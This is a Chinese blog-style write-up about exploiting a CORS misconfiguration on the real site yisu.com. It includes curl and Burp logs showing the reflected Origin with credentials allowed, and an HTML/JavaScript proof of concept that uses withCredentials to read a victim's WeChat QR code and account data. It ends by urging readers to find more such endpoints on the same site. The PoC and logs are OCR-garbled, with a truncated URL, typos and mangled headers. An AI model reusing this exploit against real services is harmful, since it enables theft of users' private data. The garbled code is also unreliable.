亿速云的cors配置不当漏洞挖掘
最近在研究cors，这不刚找了个网站练练手，
我相信在座的各位一定都是不喜欢看原理什么的 在此也就不多赘述，直接开始吧。
简单说下cors: CORS全称Cross-Origin Resource Sharing, 跨域资源共享，是HTML5的一个新特性，已被所有浏览器支持，不同于古老的jsonp只能get请求。 
但如果长满头发的程序员犯了错误，配置出错怎么办？那就，嘿嘿嘿 [image: ]
具体参照文章 https://www.anquanke.com/post/id/97671 讲解十分详细！

start:
官网：https://www.yisu.com/
[image: ]

首先注册个账号这边我已经注册好了，
[image: ]

由此可见我的用户名是ys724514，要用curl请求看响应包。
于是 启动kali，burp开干。

首先kali里用curl访问出现cors的接口
[image: ]
因为我这边是加了origin字段的，但他的返回包Access-Control-Allow-Origin: https://test.com
居然还是test.com 这程序员就该挨板子了啊。

开启burp 抓取[image: ]
概况处的包 ，send to repeater ，go

[image: ]

尝试放包后得到response 大家注意这个包的origin字段是和返回的
Access-Control-Allow-Origin也是相同的，这表明了什么不言而喻啊

Ok 其实刚刚curl的地址也是这个页面抓过来的 copy过去就可以了

可以看到响应包返回了一个地址，我们去多余斜杠，用浏览器看看。
[image: ]
[image: ]

是一个二维码 我们扫描他试试，估计是返回用户信息的，
扫描后是关注公众号，不过不要紧 公众号里有用户信息

[image: ]




[image: ]
可以看到 用户是ys724514

此时可以编写一波poc
[image: ]

把最重要的部分改为他的接口即可 接下来部署好服务器 模拟黑客给用户发送这个页面 用户打开的效果！


[image: ]

用户点开之后是这样的 ，然后我们点击exploit 即可获取用户的二维码！

[image: ]
可以看到已经成功获取了，是跟原二维码一模一样的 黑客进行扫描即可获取用户数据。
[bookmark: _GoBack][image: ]
不妨设想 我刚刚没有进行实名认证 若受害者是位实名用户，那危害 不言而喻啊。

Ok，分享结束，其实本例站点的类似接口还挺多的 大家可以去找找 好的拜拜！
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image10.png
<html>
<head>
<title>CORS PoC Exploit</title>

</head>

<body>

<center>

<h1>CORS Exploit<br>Yeasir Arafat</hl>

<hr>

<div id="demo">

<button type="button" onclick="cors()">Exploit</button>
</div>

<script type="text/javascript">

function cors() {

var xhttp = new XMLHttpRequest () ;
xhttp.onreadystatechange = function() {
if(this.readyState == 4 & this.status == 200) {
document . getElementById ("demo") . innerHTYL = this.
}

};

xhttp.open("GET", "https:
xhttp.withCredentials = true;
xhttp.send() ;

}

</script>

</center>

</body>

</html>

true) ;
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us":1,"data":{"img":"https:\/\/mp.weixin.qq.com\/cgi-bin\/showgrcode?ticket=gQGN7zwAAAAAAAAAAS50dHRWOIi8vd2VpeGluLnFXLmNVbS9xLzAYycTNVb TRWVHBMT)ExX25hMnhOYOKA,
yMJJAWRYAgAA"}}
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root@NingFeng:~# curl https://weixin.yisu.com/index.php/Speed/Uc/getAuditQrimg
H "Origin: https://test.com

HTTP/1.1 200 0K

Date: Wed, 06 Nov 2019 12:51:41 GMT

Server: Apache/2.4.6 (Cent0S) OpenSSL/1.6.2k-fips.

Set-Cookie: PHPSESSID=8vpodrvrq7l9farilhaluksgc7; path=/; domain=.yisu.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Access-Control-Allow-Origin: https://test.com
Access-Control-Allow-Credentials: true

Access-Control-Allow-Methods: GET, POST

Access-Control-Allow-Headers: x-requested-with,content-type

Content-Type: application/json; charset=utf-g

root@NingFeng:~# [
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Go Cancel | | < |v || >|v

Request

Raw | Params | Headers | Hex

Target: https:/iweixi

Response

Raw | Headers | Hex

POST findex. php/Speed/Ue/getAuditQrimg HTTP/T.1
Host: weixin.yisu.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; 1v70.0) Gecko20100101 Firefox/70.0
Accept: applicationfjson, text/javascript, */; 4=0.01

Accept-Language: zh-CN zhiq=0 8 2 TWq=0.7.2h-HIK;q=0.5,en-US:4=0.3,emq=0.2
Accept-Encading: gzip, deflate

Content-Type: application/x-wwweform-urlencoded; chars:
Content-Length: 3

Origin: hitps://ue.yisu.com

Connection: close

Referer: https:/fuc. yisu. comfindex php/host html
Cookie: href=https: fwww. yisu. com;

ayfrom=baidullttps:/iwww. yisu.com/?f=baiduplan=pinpaici-wap&unit=yisuyun&keyword=yisuyunae_creati
136747618408y stimes=1566026234; PHPSESSID=rou3dskk502meqhOkav72m0u; ysugtproopeni
_ga=GAI 2.774508176.1573043482; _gid=GA1 2.802768324.1573043482;

ysusemame=48a7uB3L 2bGEnmz2dPeSDZYVOkznORI%2FOGUURp1 42 YOONGITY;
audit_qr="%7B%22img%22%3A%22https %3A%EC%2F %5C%2F mp.weixin g, com%5C%2F cgi-bin%5C%2
Fshowarcode%3Fticket %3DgOEHBDWAAAAAAAAAASSodHRWOBY2Vpe GluLnF xLmNvbSIxLzAyUUNXaD
RpVHBMTIEXWDVIMKS0 Y3IAAGRIvEJJAWRY AGAA%22%2C%22c 0de%22%3A%22audit_fe27e7 ddal9b2ed
192d084478b535439b5941978%22%7D; Hm_Ivt_0910b1 24281 c0e61462b7 a766830fec=1573043575;
Him_lpt_0910b1224681 002614627 a766830fec=1573043593; _gat_gtag_UA_136083518_1=1

TF8

1=1

HTTP/T.1 200 OK

Date: Wed, 08 Nov 2019 12:33:50 GMT

Sener. Apache/2.4 6 (CentOS) OpenSSL/1 0 2k-fips

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0

Pragma: no-cache

Access-Control-Allow-Origin: https://uc.yisu.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headsrs: x-requested-with, content-type
Content-Length: 237

Connection: close

Content-Type: application/jsan; charset=utt8

{'status™1,"data" {"code" "audit_fe277 d4a19b2e4192d084d78b535439b594
1978 "img":"https:Wimp weixin.q9.comVegi-binVshowgreods ticket=gQEHS
DWAAAAAAAAAASS0dHRWOIBVA2VpeGIuLnF xLmvbSIxLzAyUUNXaDRp
VHBMTIEXWDVIMKSOY3IAAGRIVCIAAWR YAGAA']}
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‘status" 1 "data"{"code":"audit_fe27 7 d4a19b224132d084d76b535d39h594

978" "img""https:Wrmp weixin.gq, comVegibinVshowqreode?ticket=gQEHS
DWAAAAAAAAAASSadHRWOIBVA2Vpe GluLnF xLmhivbSIxLzAyUUNXaDRp
VHBMTIEXWDVIMKSOYIIAAGRIVCJAAWRYAGAA')
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